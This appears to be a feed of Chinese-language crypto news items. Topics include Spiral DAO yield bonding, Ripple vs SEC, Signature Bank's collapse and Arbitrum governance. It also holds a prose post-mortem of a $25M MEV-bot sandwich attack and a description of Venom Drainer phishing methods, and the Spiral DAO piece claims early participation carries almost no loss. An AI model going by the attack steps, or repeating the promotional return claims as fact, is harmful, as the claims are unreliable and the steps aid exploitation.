    撰写：DeFi Made Here 编译：深潮 TechFlow DeFi 项目一直面临着保留其总锁定价值（TVL）和确保流动性提供者可持续收益的重大挑战。这对于像$CRV、$BAL 和$FXS 这样的代币尤为真实，它们一直受到通货膨胀压力和“挖矿和倾销”倾向的困扰。 然而，由 Spiral DAO 倡导的名为 Yield Bonding 的新概念旨在通过为流动性提供者提供绑定其收益奖励并获得更高奖励作为回报的机会来改变这种局面。本文将深入探讨这个新概念及其如何可能彻底改变 DeFi 领域。 $CRV $BAL 和$FXS 现在有什么问题？ 它们共享收益、吸引流动性、创建飞轮等，但它们也正在疯狂的通货膨胀。 这些代币一直面临流动性提供者的“质押和抛售”。随着原生代币价格下跌，协议正在失去 TVL。这会导致负循环，随着 TVL 的减少，协议也失去了交易量、交易费用，甚至是对原生代币的需求减少等。但是，如果流动性提供者不是将收益奖励抛售，而是将其债券化，会发生什么？ 这正是 Spiral DAO 旨在实现的目标，它是一个非常有趣的概念。让我来为您解释一下。 流动性提供者将放弃他们的收益奖励（$crv $bal $fxs），转而获得$COIL，但其利率高于基础收益。我的第一个想法是，谁会支付这笔费用？这一定是另一种庞氏骗局。 Spiral 将推出治理代币，并使用 StakeDAO 将其进行流动性包装。流动性包装的代币将支持$COIL 的价格。与此同时，Spiral 也将获得这些代币的治理权和基础收益。 由于 Spiral 可能成为贿赂市场的主要参与者，因此它可以有效地套利贿赂。例如，贿赂 Curve 市场比在 Balancer 上更有效率。Spiral 将在 Balancer 上出售票数，然后在 Curve 上购买票数，从中获得差额。 如果$CVX / $AURA 的交易价格低于$CRV / $BAL（按投票权重计算），Spiral 也将向$CVX / $AURA 进行 POL 配置，填补市场的低效率。 因此，Spiral 将能够向流动性提供者支付额外的奖励，原因如下： • 贿赂； • 治理代币的原生收益； • 市场低效率套利。 对于 LP 的额外 APY 公式如示：额外收益=（$SPR MC / 财库价值-1）* 0.4 如果$SPR 的市值为 1500 万美元，财库价值为 1000 万美元，则额外收益将为： * 0.4 = 0.2 因此，在池子自身的收益为 30％的情况下，将获得 36％的$COIL 收益。 $SPR 是 $COIL 的质押版本，类似于 $OHM。Spiral 与 Olympus 有很多共同点，但是它是为了收益而调整的，而不是流动性，并且有可控的通胀。 Spiral 还将为代币持有人提供公平的退出机制。如果$SPR 的交易价格低于净资产价值 5-10％，则会分配资金来保护价格。 所有收益都会收取 20％的绩效费用，当协议发行 100 个$COIL 的收益债券时，将铸造 50 个额外的$COIL 并分发给： • 15个$COIL用于DAO需求 • 15个$COIL用于维护POL • 团队20个$COIL（有6个月的锁定期） 谁在为额外收益买单？ 不，你不是收益的来源。 贿赂、交易费用、市场效率低下，以及收益债券的新概念（因此增加了治理权和奖励）是来源。 谁受益于 Spiral？ • 流动性提供者可以获得更多收益。 • Curve Finance / Balancer / Frax Finance，因为他们的原生代币可能会被永久锁定。 • StakeDAO ，因为他们的流动性锁定将获得大量TVL。 而且说到 StakeDAO，他们可能会在流动性锁定 TVL 方面获得非常大的提升。如果从第 1 天起，如果 Spiral 将出售所有的初始国债发行（Initial Treasury Offering）， $BAL 流动保险箱将获得 +50% TVL。 参与 ITO 对谁有意义？ 首先，如果您希望获得$CRV/$BAL/$SDT/$FXS 的收益，那么参与 ITO 是有意义的。 对于类似 OHM 的项目，如果您在市值等于资金支持的时候早期参与，几乎不会出现亏损。 ITO 参与者（空投）只有 3-5% 的稀释，并且下行空间有限。因此，如果在接下来的 6 个月内有任何内在价值增长（直到团队的份额被解锁），就会有购买和持有 $COIL 的动机，而不是持有一篮子 ITO 代币。 Spiral 正在将一种新的 Yield Bonding 概念引入到 DeFi 中，这有利于 veTokenomics，并在理论上应该增加提供流动性者的收益。  ( 2 min )
    XRP会被判为证券吗？Ripple vs SEC案5种结局猜想
    观点来源：John E Deaton，Ripple vs SEC 案「法庭之友」 撰文&编译：Karen，Foresight News 时隔两年多时间，Ripple vs SEC 法律纠纷目前接近最终裁决。美国证券交易委员会 （SEC）最早于 2020 年年底对瑞波 Ripple 及其首席执行官 Brad Garlinghouse 和联合创始人 Christian Larsen 提起诉讼，指控他们通过一项未注册数字资产证券发行筹集了超过 13 亿美元，并称后者违反了联邦证券法的注册规定。 考虑到案件的拖延迟缓和悬而未决，2022 年 9 月份，Ripple 和 SEC 都要求法官在 Ripple 出售 XRP 代币一案中迅速做出简易判决，双方都不希望法律诉讼继续进行全面审判。 针对法官裁决日期，代表 XRP 持有者的一位律师作为「法庭之友」John E Deaton 表示，如果 3 月 31 日没有裁决的话，可能会在接下来的 30 或 60 天内发生。John E Deaton 也是律师事务所 CryptoLaw 创始人。 Ripple 首席执行官 Brad Garlinghouse 在今年 1 月份也表示，希望在 2023 年上半年与美 SEC 的法律纠纷中达成解决方案。 John E Deaton 近期设想了 Ripple 与 SEC 诉讼的几种结果，Foresight News 整理如下： John E Deaton 认为，SEC 在此案中的理论过于宽泛和牵强，无法获得彻底的胜利。 可以看出，John E Deaton 对 Ripple 在该案件中的处境较为乐观且相对坚定，不过如果真的判定 Ripple 证券欺诈的话，Ripple 或将再面临交易所下架、严厉审查等一连串致命打击。另一方面，法院对 Ripple vs SEC 法律纠纷的裁决结果对加密货币整个行业也至关重要，将间接影响到美国监管机构后续对加密领域的监管权利。  ( 2 min )
    币安面临美佛罗里达州“数十万名”投资者的集体诉讼
    PANews 4月4日消息，据Blockworks报道，上周五，由集体诉讼资深律师Adam Moskowitz领导的律师事务所Moskowitz代表“数十万受害者”，对币安、首席执行官赵长鹏以及在佛罗里达州推广该交易所的名人（包括NBA迈阿密热火队球星吉米巴特勒）提起诉讼。Moskowitz也正参与针对FTX和Voyager Digital的集体诉讼。 Moskowitz对此案的诉讼依据集中在《蓝天法》上，该法案是美国各州制定的证券法的统称，用于规范一个区域内的证券交易，以及股票经纪人和投资顾问的注册。Moskowitz表示，币安、FTX和Voyager以及附属个人“都涉嫌出售和推广未注册证券”。法律专家表示，由于加密货币不在全国性证券交易所交易，因此这一资产类别可能会受到国家级监管规定的约束，这为更多未注册的证券诉讼提供了可能。  ( 1 min )
    Flatcoins会成为下一个DeFi热门叙事吗？
    作者：0xShinChan | 加密KOL 编译：Felix | PANews 像Base最近发布的文章中提到的那样，Flatcoins会成为下一个最热门的DeFi叙事吗？本文是您需要了解的有关Flatcoins、TradFi的相关性以及DeFi采用的所有信息。 Flatcoins背景 根据Base的说法，Base正在探索Flatcoins——跟踪通货膨胀率的去中心化稳定币，能增强购买力的稳定性和抵御经济不确定性的能力。Base正在关注与非法定货币挂钩的期权，以填补与法定货币挂钩的稳定币和不稳定的加密资产之间的差距。 与USDT等传统稳定币不同，Flatcoins不与任何法定货币挂钩，而是与一篮子资产或指数挂钩。从长远来看，Flatcoins提供了更大的稳定性，因为法定货币可能会因通货膨胀，随着时间的推移而贬值。 我们需要Flatcoins的原因是，随着时间的推移，通货膨胀会侵蚀美元的购买力，从而对货币的时间价值产生负面影响。货币的时间价值的概念阐明了货币的当前价值大于其未来价值。 这是一个真实的例子。小时候，曾经在香港以0.25美元的价格购买麦当劳的冰淇淋。但是今天同样是0.25美元，却买不起麦当劳的任何食物。 这就是通货膨胀对每个人的影响。 而Flatcoins旨在通过跟踪通货膨胀率来保持其价值。它们不是与单一货币挂钩，而是跟随一篮子资产，使其不易受市场波动的影响。这个想法很简单：如果一种Flatcoins能够随着时间的推移保持其购买力，用户就不必担心因通货膨胀而贬值。这使得Flatcoins成为未来更具弹性和可靠的价值储存手段。 “Flatcoins”仅仅是一个DeFi概念吗？不一定。机构的采用与Flatcoins有一些相似之处。 新加坡的NEER政策侧重于通过与一组其他货币进行比较，来管理新加坡元（SGD）的价值。这组货币通常是与新加坡贸易往来最多的国家。 通过这样做，他们创造了一种“平均”汇率，有助于平衡个别货币的涨跌。现在，当存在通胀压力时，意味着商品和服务的总体价格水平在上涨，货币的购买力在下降。通过控制新元相对于这种“平均”汇率的价值，新加坡中央银行新加坡金融管理局 (MAS) 可以确保新元的价值不会因通货膨胀而大幅上涨或下跌。 简单来说，想象一下你和朋友在玩跷跷板。如果你们中的一个比另一个重很多，跷跷板就会倾斜得很厉害。但如果你们俩的体重差不多，跷跷板就会更平衡。 Reflexer Finance的RAI代币是Flatcoins的一个典型例子。甚至Vitalik也认为它是“理想型”稳定币类型。下面来说说为什么它只是理想，却不且实际。 RAI由ETH抵押，是其价值稳定的基础。用户存入他们的ETH来制造RAI，以他们持有的ETH为抵押借款。为了收回抵押品，用户需要偿还借来的RAI。超额抵押有助于确保其偿付能力。 与大多数与特定法定货币（如美元）挂钩的稳定币不同，RAI没有固定的价格目标。它是一种“无管理”和“去中心化”的稳定币，没有中央机构控制它。 RAI通过一种叫做“赎回价格”的机制来实现稳定。这个价格会根据市场情况和用户行为进行动态调整。鼓励人们买卖RAI以稳定其价值。如果RAI的价格大于赎回价格，用户被激励出售RAI，通过套利，使RAI价格更接近目标价格。 如果RAI的价格小于赎回价格，用户就会被鼓励购买RAI，因为被低估了，这有助于RAI的价格与赎回价格保持一致。这一机制平衡了市场供求。 RAI在发行时取得了一定的成功，但还没有达到其他稳定币的受欢迎程度。尽管它是无治理的、去中心化的固定代币，但它的采用仍然有些有限。这使得RAI成为替代稳定币的“理想型”例子。 原因是，与非法定货币挂钩的稳定币由于其价值不可预测和波动，会经常面临接受度降低的问题。 由于缺乏固定的价格目标，RAI在日常交易中的使用变得复杂，为广泛采用制造了障碍。此外，将ETH作为唯一抵押品也限制了可扩展性。 2022年5月，由于UST和LUNA崩溃、Celsius破产等事件冲击了市场，导致ETH在2022年6月从3580美元暴跌至890美元。 这导致: (i)由于ETH价格大幅下跌，RAI持有者的被清算风险增加； (ii)由于没有套利者而导致市场价格与赎回价格背离。 Reflexer Finance的RAI是由ETH支持的，创新自适应自主机制的范例，但它的采用受到限制。 与RAI相比，Nuon提供了一种不同的方法，重点是通货膨胀挂钩。Nuon是一种去中心化的Flatcoins，可以跟踪通货膨胀率，使用户能够保持他们的购买力。 (i) Truflation Nuon依赖于独立的通货膨胀指数（Truflation）来计算每日的Nuon挂钩汇率。根据Truflation指数，Nuon flatcoins在发行时与一篮子商品的价值软挂钩，价格为1美元。每天，Truflation预言机都会为Nuon提供一个经通货膨胀调整后的目标挂钩，以维持持有者的购买力。 (ii) 零息贷款 RAI的固定贷款利率为每年2%，但只要借款人维持所需的抵押率，Nuon就为借款人提供零利率的贷款。 Nuon的主网在arbitrum上发布，但根据DefiLlama的数据显示，它的TVL不到1万美元。虽然它凸显了对冲通胀的优势，但采用仍然有限，更多的是远见卓识，而非实际。  ( 2 min )
    数据：DOGE第五大持有者今日凌晨转出6.5亿枚DOGE，约合6130万美元
    PANews 4月4日消息，Bitinfocharts数据显示，今日凌晨3:48，DOGE的第五大持有者（DDuXGM开头的地址）转出6.5亿枚DOGE （约合6130万美元）。 该地址曾于3月30日转出3.5亿枚DOGE。目前该地址还持有约37.87亿枚DOGE（约合3.69亿美元）。  ( 1 min )
    损失2500万美元，MEV机器人是如何被人“黑吃黑”的？
    原文：《遭遇“黑吃黑”？MEV机器人损失2500万美元攻击事件分析》 2023年4月3日，据Beosin-Eagle Eye态势感知平台消息，MEV机器人遭受恶意三明治攻击，损失约2500万美元。 什么是三明治攻击？本次攻击又是如何发生，Beosin安全团队第一时间对事件进行了分析，结果如下。 攻击block： https://etherscan.io/block/16964664 攻击者： https://etherscan.io/address/0x3c98d617db017f51c6a73a13e80e1fe14cd1d8eb Mev bug git link： https://github.com/flashbots/mev-boost-relay/pull/330 Bundles analyze@samczsun： https://twitter.com/samczsun/status/1642848556590723075?s=46&t=Ucn3vRhyG0n8a4YU2zWE0g 恶意节点利用MEV-boost-relay相关漏洞，然后通过恶意三明治攻击价格操纵并最终获利。 MEVbot介绍： 最大可提取价值 (MEV) 是指通过在区块中添加和排除交易并更改区块中的交易顺序，可以从区块生产中提取的超过标准区块奖励和燃料费用的最大值。 在区块链数据上运行复杂的算法来检测盈利的 MEV 机会,有机器人自动将这些盈利交易提交到网络。 MEVbot有许多策略，dex中通过币价差套利，清算，NFT MEV等等而本次攻击中涉及的三明治交易，为了实现这样的功能，MEV bot会监视内存池内 DEX 的交易并且计算影响，抢先下单低价买入，然后在用户交易后卖出获利。最近FlashBots等 MEV 服务的兴起现在允许交易者创建“三明治捆绑包”，其中所有 3 笔交易都执行，或者都不执行。与此同时，矿工交易团队也有所增加，他们将三明治包直接挖到他们的区块中。 三明治攻击（sandwich attacks）是DeFi里流行的抢先交易技术的一种。为了形成一个“三明治”交易，攻击者（或者我们叫他掠夺性交易员）会找到一个待处理的受害者交易，然后试图通过前后的交易夹击该受害者。这种策略来源于买卖资产从而操作资产价格的方法。 三明治攻击（sandwich attacks）是DeFi里流行的抢先交易技术的一种。为了形成一个“三明治”交易，攻击者（或者我们叫他掠夺性交易员）会找到一个待处理的受害者交易，然后试图通过前后的交易夹击该受害者。这种策略来源于买卖资产从而操作资产价格的方法。 三明治交易的目标是利用意外受害者的滑点，同时也有许多诱饵机器人反过来利用MEVBot的策略，例如恶意的诱饵代币，或者转账函数中特殊的金额指定等，而本次攻击利用了MEVBot相关漏洞。 正常情况下恶意提议者很难修改bundles，这是因为双签惩罚，但是攻击parent_root和state_root被恶意设置为0x00，会导致PublishBlock返回error，但是由于旧版本没有对返回的error进行处理，从而获取已经披露的Bundles，才导致了事件的发生，下图是git中对该漏洞的修复。 链上攻击流程： 1.其中一次攻击为例，攻击者首先将目标瞄准到流动性很低的池子，并试探MEV机器人是否会抢跑交易。例如下图中，我们可以看到攻击者通过0.04 WETH试探MEV机器人，勾引MEV机器人进行抢跑套利。发现池子确实有MEV机器人进行监控，并且MEV机器人会使用其所有的资金进行套利。 2.攻击者试探成功之后使用预先在Uniswap V3中兑换出来的大量代币在低流动性的V2池内进行兑换操作，勾引MEV使用全部的WETH进行抢跑购买不值钱的代币。然而被抢跑的交易其实才是瞄准了MEV的攻击交易，使用了大量的代币换出MEV刚刚进行抢跑的所有WETH。 3.这时由于MEV进行抢跑的WETH已经被攻击交易兑换出来，所以MEV机器人想要重新换回WETH的操作会执行失败。 例如 总结 一是因为攻击者利用MEVbot相关Bug，这是攻击能够完成的主要原因。 二是因为MEV每次在低流动性池中套利仍然会使用自身所有的资金，这是攻击损失如此大的可能原因。 三是因为在uniswap V3中可以用少量资金获得同样的代币，而其价值在V2池中已经被操纵失衡，这是攻击中使用的主要手法。 部分参考： https://github.com/flashbots/mev-boost-relay/pull/330 感谢twitter@samczsun 资金追踪： 截止发稿前，Beosin KYT反洗钱分析平台发现目前主要被盗资金位于地址 0x3c98d617db017f51c6a73a13e80e1fe14cd1d8eb($20,051,175.47), 0x5B04db6Dd290F680Ae15D1107FCC06A4763905b6($2,334,519.51)， 0x27bf8f099Ad1eBb2307DF1A7973026565f9C8f69($2,971,393.59)。 约2520万美元。  ( 2 min )
    新网络钓鱼诈骗团队Venom Drainer已从1.5万名加密投资者骗取2700万美元
    PANews 4月4日消息，Web3反诈骗工具Scam Sniffer发文称，作为服务提供商的新骗局Venom Drainer已从1.5万名投资者骗取了2700万美元，前5名受害者损失了1400万美元。目前该骗局已创建530个钓鱼网站，针对Arbitrum、Blur、zkSync、Optimism和MetaMask等170多个项目。 其网络钓鱼方法包括：获取受害者的批准，并在区块链上转移ERC20代币；欺骗用户签署恶意NFT上市，通常具有较低的上市价格。Venom Drainer首次出现在网络钓鱼诈骗团队Monkey Drainer声称下线的公告中，Monkey Drainer在给客户的消息中推荐了Venom Drainer。  ( 1 min )
    韩联社：Do Kwon曾在逃亡期间拒绝美国的司法管辖权
    PANews 4月4日消息，据韩联社报道，经证实，Terraform Labs首席执行官Do Kwon曾在逃跑期间拒绝美国的司法管辖权。 该媒体称，Do Kwon和Terraform Labs曾要求美国最高法院将提交上诉请求的截止日期从去年8月18日推迟30天至10月6日。在提交给美国最高法院的文件中，Kwon的律师提出抗议，称“虽然Terraform是一家新加坡公司，Kwon也是新加坡居民，但第二上诉法院承认了美SEC的属人管辖权。Terraform大部分业务基本上都是全球性的，并不专门针对美国。SEC的行动违反法律，和其他法院的决定也相冲突。” 此外，Kwon的律师还要求延期提交上诉申请，美国最高法院是否真的接受了延期请求，或者Kwon是否真的提出了上诉，目前还没有得到证实。但去年8月中旬，Do Kwon在接受采访时称其已搬至新加坡，并表示会配合韩国检方的调查。9月初，Do Kwon偷偷离开新加坡，经阿联酋迪拜前往塞尔维亚，9月底，国际刑警组织发现其逃亡一事而发出红色通缉令。有人认为，Do Kwon的这些行为系发出“烟雾弹”来确保逃跑所需时间，也可被解读为Do Kwon否认了美国当局的管辖权，意图在未来降低处罚力度。 相关阅读：Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束  ( 1 min )
    签名银行之死：Crypto是一种“原罪”？
    作者：Joseph Politano 编译：Block unicorn 尽管签名银行（Signature Bank）的失败并未受到足够的关注，但它仍是美国历史上第三大破产案例。那么，究竟是什么导致了这家纽约顶级加密银行的破产呢？ 在 3 月 12 日（星期日），美国监管机构采取行动，阻止了美国银行体系中正在酝酿的危机。他们决定让已经破产的硅谷银行（SVB）的存款人得到全额赔付，同时宣布关闭总部位于纽约的签名银行，并让其存款人得到全额赔付。与硅谷银行相比，签名银行规模较小，而且很快被星标银行收购，这意味着该机构的失败并没有引起太多关注。但签名银行的崩溃本身值得分析——如果没有 SVB，它本将成为美国历史上第二大破产银行，甚至比 1984 年的大陆伊利诺伊银行破产还要大。 此外，签名银行与 SVB 并非完全具有相同的潜在问题——尽管两家银行都有集中的存款人基础、大量无保险存款，并在最近几个季度出现了巨大损失和存款外流，但签名银行并未像 SVB 那样对长期资产进行大量无避险投注，导致利率上升时受到打压。相反，它在纽约商业房地产和私募股权借贷市场上有更集中的敞口，并在加密行业中担任关键角色，这使得它在当前市场环境中比大多数银行更弱，但比 SVB 更强。这意味着签名银行在危机爆发时比 SVB 处于更好的立足点——但这仍然无法挽救它。两家金融机构最终都以相同的方式走向灭亡——来自无保险存款人的大量提款，最终使得银行无法生存。 与 SVB 一样，Signature Bank 银行在大流行病开始时存款增长极快，到 2022 年初，总存款达到 2018 年水平的三倍。而且，与 SVB 一样，Signature Bank 的绝大多数存款人的存款额超过了美国银行账户的 FDIC 保险限额 25 万美元。这是因为银行的主要客户是商业房地产公司、高端白领企业和私募股权公司，这些公司在大流行初期都实现了繁荣发展。然而，Signature Bank 最值得关注的合作关系可能是与加密货币公司的合作——该公司的数字资产银行团队在行业繁荣初期就与加密生态系统的主要参与者合作，并开发了 Signet——这是一种专有的 7 天 24 小时全年无休的区块链支付网络，服务于其机构级加密合作伙伴。Signature Bank 的用户包括行业巨头币安、Genesis 以及现已破产的 FTX 和 Alameda Research。 然而，这些加密货币存款的流出速度与它们的流入速度一样快。2021 年初，当 Signature 银行首次单独报告其数字资产银行业务集团的存款时，该公司的加密货币相关负债为 100 亿美元。到 2022 年初，这一数字猛增至 290 亿美元——占总存款的四分之一以上——随后在 2022 年的加密货币寒冬期间逐渐下降。FTX 的破产对数字资产集团造成的影响最大，仅在 2022 年第四季度，加密货币存款就减少了 70 亿美元。此时，加密货币相关的总存款为 170 亿美元，约占银行总额的五分之一，而资金流出可能从此只会加速。我们无法得出确切的时间线，但截至 3 月 19 日 Signature 银行成功出售给 Flagstar 银行时，仅剩下约 40 亿美元的数字资产存款。这些存款中的绝大多数可能是无保险的，一旦 SVB 出现问题，它们就会立即逃离。 这种迅速的资金外流有些反直觉，因为除了无保险存款占比较高之外，Signature 的整体风险状况并不像 SVB 那样广泛。硅谷银行在 2020 年和 2021 年大举投资长期固定收益资产，却对利率上升措手不及，而 Signature 在 2018 年和 2019 年的大部分时间里减少了对长期贷款和证券的集中度，并在整个大流行期间保持整体期限敞口较低。 事实上，Signature 资产负债表资产端在大流行时期的增长主要来自商业贷款的大幅增长，证券和其他资产（主要是现金）也有所帮助。这些预先存在的房地产敞口主要代表了纽约地区多户家庭和商业房地产的贷款，而商业和工业贷款的爆炸性增长主要代表了该公司私募股权贷款部门的扩张。 这两个主要行业——纽约房地产和私募股权贷款——最近的表现并不好，特别是在 2022 年初利率开始上升时。随着利率上升和对衰退的担忧增加，商业抵押贷款支持证券指数自 2021 年初以来大幅下跌，而根据我们从公开数据了解到的情况，私募股权估值可能也大幅下跌。 此外，与公司规模相比，Signature 在证券投资组合上的损失仍然相当可观。到 2022 年底，Signature 的累计其他综合收入（包括银行可供出售证券的未实现损失）已降至负 17 亿美元，占银行权益资本的很大一部分。 Signature 银行还在向联邦住房贷款银行借款，这些机构为流动性需求不够严重以至于向联邦储备银行直接借款的银行提供借款服务。事实上，在今年初，Signature 从联邦住房贷款银行借款的比例比 SVB 更高，尽管其参与房地产行业使其成为更频繁的基准用户。 尽管如此，与 SVB 相比，Signature 在今年初的整体状况还不算太糟——从资产方面看，Signature 比 SVB 更接近一家正常的银行，甚至在负债方面也更加多元化。虽然 Signature 的损失较大，但与其他银行相比，它的资本状况仍相对较好，而且在 FTX 破产之后，该银行已经在积极采取措施摆脱对加密货币存款的依赖。所以，虽然 Signature 确实面临风险，但当时市场认为它的地位比 SVB 和仍在生存的太平洋西部银行等要强大得多。然而，不幸的是，这还不足以使该机构免于从周五开始，持续到周日关闭的典型银行挤兑。 没有哪家银行能在极短的时间内承受大量存款人离开的压力——银行的基本业务模式需要在较为不流动的长期资产和较为流动的短期负债之间实现平衡。如果每个人都一次性要求取回他们的钱，最好的情况是有序清算，债权人得到全额偿还。在硅谷银行的案例中，联邦储备银行监管副主席迈克尔·巴尔的证词显示，银行破产当天，存款人试图提取 1000 亿美元，加上前一天提取的 420 亿美元，总共占银行总存款的 85%。对于除了最狭义、最保守的银行之外的所有银行来说，这种程度的不流动意味着破产，这就是为什么像存款保险这样的系统旨在防止这类大规模银行挤兑的发生。 Signature 银行的情况没有硅谷银行那么糟糕，但设身处地为当周末的监管者考虑——你手头有一家银行，其存款人群极易出走，据报道周五在短短几小时内就损失了五分之一的存款，整个周末都在不断收到进一步的提款要求，并且已经耗尽了从联邦住房贷款银行和联邦储备银行借款的大部分能力。银行无法向您提供有关其财务状况的准确信息，已经卷入了 FTX 的倒闭事件，并受到司法部和证券交易委员会的调查。公众信任已经荡然无存。周一开市意味着必死无疑。周末关门则降低了进一步传染的风险，所以决定银行不再开业。 Flagstar 银行以相当大的折扣接管了 Signature 银行的剩余部分——尽管它将 Signature 的 600 亿美元贷款留给了联邦存款保险公司（FDIC）处理。Flagstar 可能出于多种原因没有接管这些贷款——限制其商业地产敞口、认为资产价值不及其纸面价值以及不想过快增长等——此外，由于 FDIC 需要通过火速出售整个银行，因此它往往无法获得理想的价格。但这一结果仍表明，Signature 在贷款组合方面损失严重。 最有趣的是 Flagstar 没有接管的部分——剩余的 40 亿美元与加密货币相关的存款。这部分原因可能是出于法律原因，但主要是出于金融稳定的考虑——在短短几周内，有三家银行因依赖加密货币存款而破产，你会愚蠢到接管加密货币存款吗？此外，在 1 月初至 2 月底期间，美国监管机构发布了两份联合声明，警告银行加密货币存款的流动性、波动性、法律和传染风险——很可能监管机构鼓励银行不要承担过度暴露于加密货币的风险。 从广义上讲，这是对问题的正确评估——让稳定币和其他加密货币机构成为无保险、无担保、集中于少数金融机构的交易对手的安排行不通，这在某种程度上要为最近的金融动荡承担责任。但与此同时，这些资金池不会消失——如果它们被赶出美国正规银行体系，它们将在影子银行体系中创造需求，使加密行业中透明度较低、系统风险较高的参与者受益。资金池必须在银行体系之外的安全地方集中（例如，为稳定币设立指定的货币市场工具），或者在传统金融机构之间分散风险。 然而，更广泛的观点是，加密货币存款本身并不是 Signature 银行问题的唯一根源，与硅谷银行相比，Signature 银行在很多方面更像是一场普通的银行挤兑。尽管 Signature 银行的存款人相对集中，但没有像硅谷银行那样高度集中，损失虽然在 Signature 银行很大，但远不及在硅谷银行（尽管硅谷银行的存款基数只有 Signature 银行的两倍，但联邦存款保险公司估计 Signature 银行的失败将花费存款保险基金 25 亿美元，远低于硅谷银行失败的 200 亿美元成本）。存款人仅在短短几天内就失去了对该机构的信心，足以让银行倒闭。展望未来，在现代社会确保金融稳定将需要管理闪电般的银行挤兑风险，特别是在无保险存款人之间。  ( 2 min )
    美司法部已扣押涉加密投资骗局价值1.12亿美元的数字资产
    PANews 4月4日消息，美国司法部 (DOJ)在公告中表示，它已扣押了价值1.12亿美元的与加密投资诈骗有关的数字资产。亚利桑那地区、加利福尼亚中区和爱达荷地区的法官授权扣押6个虚拟货币账户。 根据法庭文件，这些虚拟货币账户据称被用于清洗各种加密货币信任诈骗的收益。在相关骗局中，作案者通过社交网络、交友网站、电话、短信等通讯方式逐渐赢得受害人的信任。最终，犯罪者说服他们的目标投资于虚假的加密货币平台，然后再将被盗资金转移到他们自己的地址。 美国司法部指出，2022年，在向联邦调查局互联网犯罪投诉中心(IC3)报告的所有骗局中，投资欺诈造成的损失最高，共计33.1亿美元。涉及加密货币的欺诈，包括杀猪盘，占了这些骗局的大部分，从2021年到去年报告的损失增长了183%，达到25.7亿美元。  ( 1 min )
    Arbitrum改进提案AIP-1未获投票通过，反对率近77%
    PANews 4月4日消息， Snapshot投票页面显示，Arbitrum基金会发起的综合治理包Arbitrum改进提案（AIP-1）投票未获通过，反对票占比达76.67%。 此前消息，Arbitrum基金会在社区强烈反对之下拟将AIP-1提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域
    PANews 4月4日消息，据TechCrunch报道，拉丁美洲风投基金Kaszek Ventures通过旗下两支新基金筹集了9.75亿美元，包括5.4亿美元的早期基金Kaszek Ventures VI与4.35亿美元的后期投资工具Kaszek Ventures Opportunity-III (KVO-III)。 Kaszek计划从其早期基金中向（处于种子期、A轮和B轮阶段的）20到30家公司投入资金，投资规模从50万美元到2500万美元不等。其后期投资基金的投资将更加集中，该公司的目标是投资10至15家公司，投资规模在1,000万至5,000万美元之间。 Kaszek投资组合包括区块链、金融科技、企业/SaaS、房地产科技、保险科技、健康科技、教育科技、电子商务、食品科技、气候科技和生物科技等一系列行业的公司。此前曾参投巴西数字银行Nubank、加密交易所Bitso、数字支付平台Kushki等。  ( 1 min )
    国际足联推出AI驱动的世界杯手游，并拟为该游戏推出NFT市场
    PANews 4月4日消息，据Decrypt报道，国际足球联合会(FIFA)今天推出了AI驱动的世界杯足球手机游戏World Cup AI League的公开测试版，其角色、外观和游戏元素均采用人工智能。 根据一份声明，Web3人工智能公司Altered State Machine开发了这款手机游戏，该游戏目前可在Android上使用，并计划“很快”推出iOS版本。该游戏的公开测试版是其去年11月推出的世界杯预测游戏的扩展迭代。 此外，Altered State发言人透露，它计划在不久的将来为该游戏推出一个NFT市场。届时游戏的角色将被铸造成NFT，并且所有角色都将通过NFT来代表。  ( 1 min )
    Euler Labs：已追回攻击者盗取的全部资金
    PANews 4月4日消息，Euler Labs在推特上表示，经过成功协商，攻击者已归还3月13日从协议中盗取的所有资金，因为攻击者已归还资金，基金会发起的100万美元悬赏活动将不再接受新信息，详细信息将于明天发布。 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 1 min )
    Arbitrum治理风波反思：去中心化承诺到底有多重要？
    撰文：Alex 编译：0x11，Foresight News 这篇推文是关于 Arbitrum 空投和去中心化的博弈探讨，Arbitrum 最近因为公共治理事件而陷入尴尬境地。 加密网络 90% 的价值来自于去中心化承诺。为了最大化估值： 加密网络与「空投党」一拍而合，他们达成合作并推动了项目估值的良性增长。 但 Arbitrum 内部人员和「空投党」最终总会抛售他们获得的代币激励，为了解决这个问题，他们需要寻求那些经验丰富的金融市场大玩家的帮助，来减弱抛售的负面影响。 这些金融老炮们可以利用他们在市场方面的专业知识，匹配市场上的潜在买家和抛压。 至此我们迎来了一个新的问题，那就是这些经验丰富的参与者要如何从中攫取价值呢？答案很简单，借贷和看涨期权。即在售出代币的同时持有看涨期权可以实现无风险对冲。 现在我们假设的生态中有了 3 类相互协作的参与者，那么谁站在对立面呢？答案是散户。 卖家和散户之间存在明显的博弈关系。散户将他们的法定货币兑换为代币，因为他们相信该项目的长期价值。 这就是游戏规则，这就是它的运作方式。当其他参与者串通起来「剥削」他们却又不违反游戏规则时，散户会感到不安，「去中心化」的承诺会被揭穿为谎言。而当散户得知游戏参与者通过抛售比最初披露的更多的代币来「作弊」时，事情显然会变得更糟。 我知道这些对于任何在这个领域呆过一段时间的人来说都已经见怪不怪。与它的一些「前辈」相比，Arbitrum 的行为并没有产生什么严重危害。 Arbitrum 甚至可以通过直接销售和做市商交易立即抛售 DAO 分配的所有 42 亿枚代币，无需任何监督，也无需与公众进行任何沟通。 「多年来，加密项目一直是这样做的。」 (3, 3, 3, -9) 在牛市中有效，看看 OHM。随着市场成熟，情况应该会有所改善。但如果游戏规则不公平，市场如何增长？ 作为一个社区，我们应该要求代币流通供应能够反映在没有公开披露的情况下可以进入市场的代币数量。 这意味着对于 ARB ，流通供应应该是 12 亿 + 42 亿 的 DAO 资金，结果是 54 亿代币或大约 60 亿美元。 有人说社区「有权」从空投中获得「免费资金」。这说明他们对这个游戏还没有充分了解。请认真思考一个问题：你认为这些凭空得来的钱究竟是从哪里被印出来的呢？  ( 2 min )

  • Open

    Introducing the Aptos Names Integration Library
    The Aptos Names Integration Library is a front-end library that simplifies the integration of Aptos Names into ecosystem projects.  ( 5 min )
    Introducing the Aptos Names Integration Library
    The Aptos Names Integration Library is a front-end library that simplifies the integration of Aptos Names into ecosystem projects.  ( 5 min )

  • Open

    【英文】Moand VS. Rollup：为什么不把 Monad 实现为 rollup？
